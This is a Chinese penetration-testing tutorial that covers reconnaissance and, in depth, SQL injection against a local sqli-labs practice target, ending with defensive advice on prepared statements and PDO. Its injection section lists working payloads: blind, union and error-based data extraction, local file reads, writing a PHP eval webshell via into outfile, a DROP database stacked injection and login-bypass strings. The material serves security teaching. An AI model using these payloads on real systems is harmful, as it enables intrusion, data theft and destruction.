1.信息收集

信息收集
1.域名信息的收集
2.公司敏感信息网上搜集
3.网站指纹识别
4.整站分析
4.1

服务器类型 Linux/Windows

4.2

网站容器 Apache/Nginx/Tomcat/IIS

4.3

脚本类型 php/jsp/asp/aspx

4.4

数据库类型 Mysql/Oracle/Accees/Mqlserver

5.主机扫描 Nessus
6.端口扫描 Nmap
7.网站敏感目录和文件
8.旁站和C段扫描
9.网站漏洞扫描

1.域名信息的收集

收集域名对应的 ip,域名的whois信息、子域名等等一系列与域名相关的信息。


2.公司敏感信息的收集

当确定了公司后,我们可以去互联网上查询与该公司有关的任何信息。比如,公司的邮箱格式,公司的员工姓名,以及与该公司有关的任何信息。并且,我们还可以去Github、码云等代码托管平台上查找与此有关的敏感信息,有些粗心的程序员在将代码上传至代码托管平台后,并没有对代码进行脱敏处理。导致上传的代码中有包含如数据库连接信息、邮箱密码、还有可能有泄露的源代码等。
Github搜索语法:

3.网站指纹识别

在渗透测试中,对目标服务器进行指纹识别是相当有必要的,因为只有识别出相应的Web容器或者CMS,才能查找与其相关的漏洞,然后才能进行相应的渗透操作。CMS又称整站系统。常见的CMS有:WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、、SiteWeaver、AspCMS、帝国、Z-Blog等。

在线指纹识别网站:

BugScaner:在线指纹识别,在线cms识别小插件--在线工具
http://whatweb.bugscaner.com/look/
云悉指纹:
https://www.yunsee.cn

4.整站分析

4.1服务器类型(Linux/Windows)

服务器信息包括服务器用的操作系统:Linux 还是 Windows 。现在企业网站服务器的操作系统有百分之九十以上用的是Linux操作系统。知道了服务器的操作系统之后,还需要知道操作系统使用的具体版本。因为很多低版本的操作系统都存在已知的漏洞。

判断是Linux还是Windows最简单就是通过ping来探测,Windows的TTL值都是一般是128,Linux则是64。所以大于100的肯定是Windows,而几十的肯定是Linux。但是,通过TTL值来判断服务器类型也不是百分之百准确的,有些windows服务器的TTL值也是几十,而且有的服务器禁止ping。

而判断目标网站服务器的具体的版本的话,可以采用 Nmap 进行扫描, -O 和 -A 参数都能扫描出来

4.2网站容器(Apache/Nginx/Tomcat/IIS)

知道了这些信息之后,我们就需要知道网站用的web服务器是什么类型的:Apache、Nginx、Tomcat 还是 IIS。知道了web服务器是哪种类型后,我们还要探测web服务器具体的版本。比如Ngnix版本<0.83会有解析漏洞 ,IIS6.0会有文件名解析漏洞IIS7.0会有畸形解析漏洞等。不同的web服务器版本,存在着不同漏洞。

4.3脚本类型(php/jsp/asp/aspx)

我们需要知道网站用的脚本类型:php 、Jsp 、Asp 、Aspx 。

1:可以根据网站URL来判断

2:site:xxx  filetype:php

3:可以根据Firefox的插件来判断

4.4数据库类型(Mysql/Oracle/Accees/Mqlserver)

我们需要知道网站用的是哪种类型的数据库:Mysql、Oracle、SqlServer 还是 Access 。虽然这几种数据库的语法大体上相同,但是还是有区别的。所以我们还是要知道目标网站用的是哪种数据库,并且数据库是哪个版本的

几种数据库的区别:

1.Access 全名是Microsoft Office Access,是由微软发布的关联式数据库管理系统。小型数据库,当数据库达到100M左右的时候性能就会下降。数据库后缀名: .mdb 一般是asp的网页文件用access数据库。

2.SQL Server是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为1433。数据库后缀名 .mdf

3.MySQL 是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL是最流行的关系型数据库管理系统,在 WEB 应用方面MySQL是最好的应用软件之一,MySQL数据库大部分是php的页面。默认端口是3306

4.Oracle又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。常用于比较大的网站。默认端口是1521

首先,成本上的差距,access是不要钱的,mysql也是开源的,sql server 是收费的一般也就几千,Oracle的费用则数万。其次,处理能力,access支持千以内的访问量,sql server支持几千到上万的访问,而Oracle则支持海量的访 问。再次,从数据库的规模来看,access是小型数据库,,mysql 是中小型数据库,sql server是中型数据库,Oracle是大型数据库。

常见搭配:

ASP 和 ASPX:ACCESS、SQL Server
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL

5.主机扫描

对目标主机进行扫描,而不仅仅是对网站进行扫描,扫描目标主机开放了哪些端口,扫描端口运行的服务,目标主机上有哪些漏洞。

主机扫描的工具也有很多,比如:Nessus

6.端口扫描(Nmap+mansscan)

需要知道目标服务器开放了哪些端口,常见的如 135 、137 、138 、139 、445,这几个端口经常爆发漏洞。以下是一些服务端口的漏洞:

22——>ssh弱口令
873——>rsync 未授权访问漏洞
3306——>mysql弱口令
6379——>redis未授权访问漏洞

端口扫描工具有nmap和masscan。nmap扫描的准确性较高,但是扫描的比较慢。masscan扫描的比较快,但是准确性较低。

7.网站敏感目录和文件

扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏

后台目录:弱口令,万能密码,爆破
安装包:获取数据库信息,甚至是网站源码
上传目录:截断、上传图片马等
mysql管理接口:弱口令、爆破,万能密码,然后脱库,甚至是拿到shell
安装页面 :可以二次安装进而绕过
phpinfo:会把你配置的各种信息暴露出来
iis短文件利用:条件比较苛刻 windows、apache等
提到了网站敏感目录我们就不得不提 robots.txt 文件了

robots.txt 文件是专门针对搜索引擎机器人robot 编写的一个纯文本文件。我们可以在这个文件中指定网站中不想被robot访问的目录。这样,我们网站的部分或全部内容就可以不被搜索引擎收录了,或者让搜索引擎只收录指定的内容。因此我们可
以利用robots.txt让Google的机器人访问不了我们网站上的重要文件,GoogleHack的威胁也就不存在了。
假如编写的robots.txt文件内容如下:

# 以前
User-agent: *
Disallow: /data/
Disallow: /db/
Disallow: /admin/
Disallow: /manager/
Allow:/images/
# 现在
Disallow: BaiduSpider
Disallow: GoogleSpider

其中“Disallow”参数后面的是禁止robot收录部分的路径,例如我们要让robot禁止收录网站目录下的“data”文件夹,只需要在Disallow参数后面加上 /data/ 即可。如果想增加其他目录,只需按此格式继续添加。文件编写完成后将其上传到网站的根目录,就可以让网站远离Google Hack了。

虽然robots文件目的是让搜索蜘蛛不爬取想要保护的页面,但是如果我们知道了robots文件的内容的话,我们就可以知道目标网站哪些文件夹不让访问,从侧面说明这些文件夹是很重要的了。

探测目标网站后台目录的工具有: wwwscan 、御剑 、 dirbuster、cansina 等
这里还是要依据实时更新的字典才行。

8.旁站和C段扫描

旁站指的是同一服务器上的其他网站,很多时候,有些网站可能不是那么容易入侵。那么,可以查看该网站所在的服务器上是否还有其他网站。如果有其他网站的话,可以先拿下其他网站的webshell,然后再提权拿到服务器的权限,最后就自然可以拿下该网站了!

对于红蓝对抗和护网C段扫描比较有意义。对于单独网站的渗透测试,C段扫描意义不大。C段指的是同一内网段内的其他服务器,每个IP有ABCD四个段,举个例子,192.168.0.1,A段就是192,B段是168,C段是0,D段是1,而C段嗅探的意思就是拿下它同一C段中的其中一台服务器,也就是说是D段1-255中的一台服务器,然后利用工具嗅探拿下该服务器。

旁站和C段在线查询地址:

http://www.webscan.cc/

9.网站漏洞扫描

授权了再搞事情!!!

网站漏洞扫描就是直接对网站进行漏洞探测了。网站漏洞扫描也有很多工具。比如 AWVS、AppScan、OWASP-ZAP、nessuss等等。但是需要注意的是,使用漏扫工具直接对网站进行扫描,因为一下子流量过大,有些网站可能会崩溃。所以一般最好不要使用漏洞扫描工具对网站进行扫描。

2.漏洞扫描

漏洞扫描
1.SQL注入
2.XSS跨站脚本
3.CSRF跨站请求伪造
4.XXE漏洞
5.SSRF服务端请求伪造漏洞
6.文件包含漏洞
7.文件上传漏洞
8.文件解析漏洞
9.CORS跨域资源共享漏洞
10.越权访问漏洞
11.目录浏览漏洞和任意文件读取/下载漏洞
12.远程代码执行漏洞
13.JAVA反序列化漏洞

1.SQL注入分类

判断是否存在SQL注入
一个网站也太多的页面,如何快速的判断某个页面是否存在SQL注入?可以通过网站漏洞扫描工具进行扫描,常见的网站漏洞工具有:AWVS,Appscan,OWASP-ZAP,Nessus等。但是很多时候还是需要我们自己去观察页面,URL去判断是否存在SQL注入漏洞,这里就要考验手工注入的基本功和一些经验了。

SQL注入的核心:传入的参数是否有被当做代码执行

一:二话不说,先加单引号'、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。

二:还有在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。

三:还有就是Timing Attack测试,也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。

在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。

因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。

易出现SQL注入的功能点:凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登陆页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 X-Forward-For 等字段处。这些字段是用来记录登陆的 ip 的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。

一.布尔盲注

盲注,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的信息,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到了执行。

我们可以通过构造一些判断语句,通过页面是否显示来证实我们的猜想。盲注一般用到的一些函数:ascii() 、substr() 、length(),exists()、concat()

(1)判断数据库类型
判断数据库
但是当我们不知道是啥数据库的时候,如何分辨是哪个数据库呢?
虽然绝大多数数据库的大部分SQL语句都类似,但是每个数据库还是有自己特殊的表的。通过表我们可以分辨是哪些数据库。

MySQL数据库的特有的表是 information_schema.tables , access数据库特有的表是 msysobjectsSQLServer 数据库特有的表是 sysobjects ,oracle数据库特有的表是 dual。那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库。

MySQL
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from
information_schema.tables) #
Access
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from 
msysobjects) #
SQL Server
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from 
sysobjects) #
Oracle
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(*) 
from dual)>0 #

对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

information_schema.tables 存储了数据表的元数据信息,下面对常用的字段进行介绍:

table_schema: 记录数据库名;
table_name: 记录数据表名;
table_rows: 关于表的粗略行估计;
data_length : 记录表的大小(单位字节)

(2)判断当前数据库名(以下方法不适用于MySQL和Oracle数据库)

http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5   
//正常显示

http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10   
//不显示任何数据

http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7   
//正常显示

http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8   
//不显示任何数据

大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8

判断当前数据库的字符,和上面的方法一样,利用二分法依次判断

http://127.0.0.1/sqli/Less-5/?id=1' and
ascii(substr(database(),1,1))>100

http://127.0.0.1/sqli/Less-5/?id=1' and
ascii(substr(database(),2,1))>100

还可以参考我之前打靶场的方法:


(3)判断当前数据库的表
这里也可以参考我上面两篇文章的介绍

http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin)   
//猜测当前数据库中是否存在admin表

// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,得知当前数据库表的个数为4

http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) 
from information_schema.tables where table_schema=database())>5 #

//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6

http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name 
from information_schema.tables where table_schema=database() limit 0,1))=6

//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6

http://127.0.0.1/sqli/Less-5/?id=1' and length((select 
table_name from information_schema.tables where 
table_schema=database() limit 1,1))=6

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select 
table_name from information_schema.tables where 
table_schema=database() limit 0,1),1,1))>100 #

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select 
table_name from information_schema.tables where 
table_schema=database() limit 0,1),2,1))>100 #

由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断。

(4)判断表中的字段

http://127.0.0.1/sqli/Less-5/?id=1' and exists(select
username from admin)
//如果已经证实了存在admin表,那么猜测是否存在username字段

//判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的

http://127.0.0.1/sqli/Less-5/?id=1' and (select 
count(column_name) from information_schema.columns where table_name='users')>5 #

http://127.0.0.1/sqli/Less-5/?id=1' and length((select 
column_name from information_schema.columns where 
table_name='users' limit 0,1))>5

http://127.0.0.1/sqli/Less-5/?id=1' and length((select 
column_name from information_schema.columns where 
table_name='users' limit 1,1))>5

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select 
column_name from information_schema.columns where 
table_name='users' limit 0,1),1,1))>100

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select 
column_name from information_schema.columns where 
table_name='users' limit 0,1),2,1))>100

由此可判断出users表中存在 id、username、password 字段

(5)找出内容

我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据

http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from 
users limit 0,1))>5

http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from 
users limit 1,1))>5

// 判断id字段的第一个数据的第一个字符的ascii值

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from 
users limit 0,1),1,1))>100

// 判断id字段的第一个数据的第二个字符的ascii值

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from 
users limit 0,1),2,1))>100

二.union注入(有时候Sqlmap判断不出来该方法,还要手动设置跑库方法)

union联合查询适用于有显示列的注入。

我们可以通过order by来判断当前表的列数。最后可得知,当前表有3列

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 #

我们可以通过 union 联合查询来知道显示的列数

127.0.0.1/sqli/Less-1/?id=1' union select 1 ,2 ,3 #

我们可以通过这些函数获得该数据库的一些重要的信息

version()  :数据库的版本    
database() :当前所在的数据库   
@@basedir  :数据库的安装目录
@@datadir  :数据库文件的存放目录    
user()     : 数据库的用户  
current_user() : 当前用户名
system_user()  : 系统用户名    
session_user() : 连接到数据库的用户名

三.文件读写

当有显示列的时候,文件读可以利用 union 注入。
当没有显示列的时候,只能利用盲注进行数据读取。

示例:读取C盘下1.txt文件

union注入读取文件(load_file)

http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,2,load_file("C:/1.txt")#

//也可以把 C:/1.txt 转换成16进制 

http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,2,load_file(0x653a2f332e747874)#

盲注读取文件

盲注读取的话就是利用hex()函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成

http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('C:/1.txt'))),18,1))>49#' LIMIT 0,1

我们可以利用写入文件的功能,在e盘创建4.php文件,然后写入一句话木马

union写入文件(into outfile)

利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以

http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,'<?php 
@eval($_POST[aaa]);?>'  into outfile  'e:/4.php' #

http://127.0.0.1/sqli/Less-1/?id=-1'  union select
1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e  
into outfile  'e:/4.php' #

四.报错注入

利用前提: 页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()
优点: 不需要显示位
缺点: 需要输出 mysql_error( )的报错信息

1.floor报错注入

floor报错注入是利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞。缺一不可

我们可以将 user() 改成任何函数,以获取我们想要的信息。具体可以看文章开头关于information_schema数据库的部分

http://127.0.0.1/sqli/Less-1/?id=-1'  and 
(select 1 from (select count(*)
from information_schema.tables group by 
concat(user(),floor(rand(0)*2)))a) #

Y= select count(*) from information_schema.tables group by concat(Z)

Z= user(),floor(rand(0)*2) 
          
//将这里的 user() 替换成我们需要查询的函数

2.ExtractValue报错注入

EXTRACTVALUE (XML_document, XPath_string)

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
第二个参数:XPath_string (Xpath 格式的字符串)。

作用:从目标 XML 中返回包含所查询值的字符串

注意: 返回结果 限制在32位字符

// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~

http://127.0.0.1/sqli/Less-1/?id=-1'  and
extractvalue(1,concat(0x7e,user(),0x7e))#

// 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部

http://127.0.0.1/sqli/Less-1/?id=-1'  and extractvalue(
1,concat(0x7e,(select schema_name from information_schema.
schemata limit 0,1),0x7e))#

3.UpdateXml报错注入

UpdateXml 函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码!

UPDATEXML (XML_document, XPath_string, new_value)

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1
第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
第三个参数:new_value,String 格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~

http://127.0.0.1/sqli/Less-1/?id=-1'  and
updatexml(1,concat(0x7e,user(),0x7e),1)#

// 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部

http://127.0.0.1/sqli/Less-1/?id=-1'  and updatexml
(1,concat(0x7e,(select schema_name from information_schema.
schemata limit 0,1),0x7e),1)#

五.时间盲注

Timing Attack注入,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。

在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。 Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。

因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。

利用前提页面上没有显示位也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒
优点:不需要显示位,不需要出错信息。
缺点:速度慢,耗费大量时间

我们可以构造下面的语句,判断条件是否成立。然后不断变换函数直到获取到我们想要的信息

http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5)#

// 判断数据库的第一个字符的ascii值是否大于100,如果大于100,页面立即响应,如果不大于,页面延时5秒响应

http://127.0.0.1/sqli/Less-1/?id=1' and 
if(ascii(substring(database(),1,1))<100,1,sleep(5)) #

六.REGEXP正则匹配

正则表达式,又称规则表达式(Regular Expression,在代码中常简写为regex、regexp或RE),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本

查找name字段中含有a或者b的所有数据: select name from admin where name regexp ' a|b ';
查找name字段中含有ab,且ab前有字符的所有数据(.匹配任意字符): select name from admin where name regexp ' .ab ';
查找name字段中含有at或bt或ct的所有数据: select name from admin where name regexp ' [abc]t ';
查找name字段中以a-z开头的所有数据: select name from admin where name regexp ' ^[a-z] ';

已知数据库名为 security,判断第一个表的表名是否以 a-z 中的字符开头,^[a-z] --> ^a ; 判断出了第一个表的第一个字符,接着判断第一个表的第二个字符 ^a[a-z] --> ^ad ; 就这样,一步一步判断第一个表的表名 ^admin$ 。然后 limit 1,1 判断第二个表

// 判断security数据库下的第一个表的是否以a-z的字母开头

http://127.0.0.1/sqli/Less-1/?id=1' and  1=(select 1 from
information_schema.tables where table_schema='security' and 
table_name regexp '^[a-z]' limit 0,1) #

七.宽字节注入

宽字节注入是由于不同编码中中英文所占字符的不同所导致的。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。在php中,我们可以通过输入 echo strlen("中") 来测试,当为GBK编码时,输入2,而为UTF-8编码时,输出3。除了GBK以外,所有的ANSI编码都是中文都是占用两个字节。

在说之前,我们先说一下php中对于sql注入的过滤,这里就不得不提到几个函数了。

addslashes() :这个函数在预定义字符之前添加反斜杠 。预定义字符: 单引号 ' 、双引号 " 、反斜杠 、NULL。但是这个函数有一个特点就是虽然会添加反斜杠 进行转义,但是 并不会插入到数据库中。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用 get_magic_quotes_gpc() 来检测是否已经转义。

mysql_real_escape_string() :这个函数用来转义sql语句中的特殊符号x00 、n 、r 、 、‘ 、“ 、x1a。

魔术引号:当打开时,所有的单引号’ 、双引号" 、反斜杠 和 NULL 字符都会被自动加上一个反斜线来进行转义,这个和 addslashes() 函数的作用完全相同。所以,如果魔术引号打开了,就不要使用 addslashes() 函数了。一共有三个魔术引号指令。

magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。如果 magic_quotes_gpc 关闭时返回 0,开启时返回 1。在 PHP 5.4.0 起将始终返回 0,因为这个魔术引号功能已经从 PHP 中移除了。
magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。 参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
magic_quotes_sybase (魔术引号开关)如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ''。而双引号、反斜线 和 NULL 字符将不会进行转义。

我们只要输入的数据的ASCII码大于128就可以。因为在MySQL中只有当前一个字符的ASCII大于128,才会认为两个字符是一个汉字。所以只要我们输入的数据大于等于 %81 就可以使 ' 逃脱出来了。

但是编码GB2312编码的取值范围。它编码的取值范围高位是0XA1~0XF7,低位是0XA1~0xFE,而 是0x5C ,不在低位范围中。所以0x5c根本不是GB2312中的编码。所以,%5c 自然不会被当成中文的一部分给吃掉了。

所以,通过这个我们可以得到结论,在所有的编码当中,只要低位范围中含有 0x5C的编码,就可以进行宽字符注入

发现了这个宽字符注入,于是很多程序猿把 addslashes() 函数换成了 mysql_real_escape_string() 函数,想用此来抵御宽字节的注入。因为php官方文档说了这个函数会考虑到连接的当前字符集。

但是还是能进行宽字节注入,因为很多开发人员没有指定php连接mysql的字符集。我们需要在执行SQL语句之前调用 mysql_set_charset 函数,并且设置当前连接的字符集为gbk。

这样当我们再次输入的时候,就不能进行宽字节注入了。

宽字节注入的修复

在调用 mysql_real_escape_string() 函数之前,先设置连接所使用的字符集为GBKmysql_set_charset=('gbk',$conn) 。这个方法是可行的。但是还是有很多网站是使用的addslashes()函数进行过滤,我们不可能把所有的addslashes()函数都换成mysql_real_escape_string()。

所以防止宽字节注入的另一个方法就是将 character_set_client 设置为binary(二进制)。需要在所有的sql语句前指定连接的形式是binary二进制:

mysql_query("SET character_set_connection=gbk,
character_set_results=gbk,character_set_client=binary", $conn);

当我们的MySQL收到客户端的请求数据后,会认为他的编码是character_set_client所对应的编码,也就是二进制。然后再将它转换成character_set_connection所对应的编码。然后进入具体表和字段后,再转换成字段对应的编码。当查询结果产生后,会从表和字段的编码转换成character_set_results所对应的编码,返回给客户端。所以,当我们将character_set_client编码设置成了binary,就不存在宽字节注入的问题了,所有的数据都是以二进制的形式传递。

八.堆叠注入

在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 ; 结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root';DROP database user;服务器端生成的sql语句为:Select * from user where name='root';DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。

九.二次注入

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

1.黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
2.服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
3.黑客向服务端发送第二个与第一次不相同的请求数据信息。
4.服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
5.服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

十.User-Agent注入

当登录成功时:
抓包,修改其User-Agent为

'and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1  
 #我们可以将 database()修改为任何的函数

十一.Cookie注入

如今绝大部门开发人员在开发过程中会对用户传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对get,post这种方式提交的数据进行参数过滤。

但我们知道,很多时候,提交数据并非仅仅只有get / post这两种方式,还有一种经常被用到的方式:request("xxx"),即request方法。通过这种方法一样可以从用户提交的参数中获取参数值,这就造成了cookie注入的最基本条件:使用了request方法,但是只对用户get / post提交的数据进行过滤。

我们这里有一个连接:www.xx.com/search.asp?id=1

我们访问:www.xx.com/srarch.asp 发现不能访问,说缺少id参数。

我们将id=1放在cookie中再次访问,查看能否访问,如果能访问,则说明id参数可以通过cookie提交。

那么,如果后端没有对cookie中传入的数据进行过滤,那么,这个网站就有可能存在cookie注入了!

十二.过滤注入

这里东西比较多,等我慢慢写

十三.万能密码

sql="select*from test where username=' XX ' and password=' XX '  ";

admin' or '1'='1 XX    //万能密码(已知用户名)
XX         'or'1'='1   //万能密码(不需要知道用户名)
'or '1'='1'#     XX     //万能密码(不知道用户名)

十四.预防SQL注入

(1)预编译(PreparedStatement)(JSP)
可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。

 String sql = "select id, no from user where id=?";

 PreparedStatement ps = conn.prepareStatement(sql);

采用了PreparedStatement预编译,就会将SQL语句:"select id, no from user where id=?" 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。

原理:SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。

(2)PDO(PHP)
首先简单介绍一下什么是PDO。PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持PDO。你可以把PDO看做是php提供的一个类。它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql,也可以用它连接oracle。并且PDO很好的解决了sql注入问题。

PDO对于解决SQL注入的原理也是基于预编译。

$data = $db->prepare( 'SELECT first_name, last_name FROM users 
WHERE user_id = (:id) LIMIT 1;' ); 

$data->bindParam( ':id', $id, PDO::PARAM_INT );

实例化PDO对象之后,首先是对请求SQL语句做预编译处理。在这里,我们使用了占位符的方式,将该SQL传入prepare函数后,预处理函数就会得到本次查询语句的SQL模板类,并将这个模板类返回,模板可以防止传那些危险变量改变本身查询语句的语义。然后使用 bindParam()函数对用户输入的数据和参数id进行绑定,最后再执行。

(3)使用正则表达式过滤
虽然预编译可以有效预防SQL注,但是某些特定场景下,可能需要拼接用户输入的数据。这种情况下,我们就需要对用户输入的数据进行严格的检查,使用正则表达式对危险字符串进行过滤,这种方法是基于黑名单的过滤,以至于黑客想尽一切办法进行绕过注入。基于正则表达式的过滤方法还是不安全的,因为还存在绕过的风险。

对用户输入的特殊字符进行严格过滤,如 ’、”、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union

(4)其他

  • Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库
  • 设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。
  • 严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查
  • 使用 Web 应用防火墙
最后修改:2022 年 03 月 14 日 09 : 31 AM
如果觉得这篇文章不错,不妨赏我碎银几两。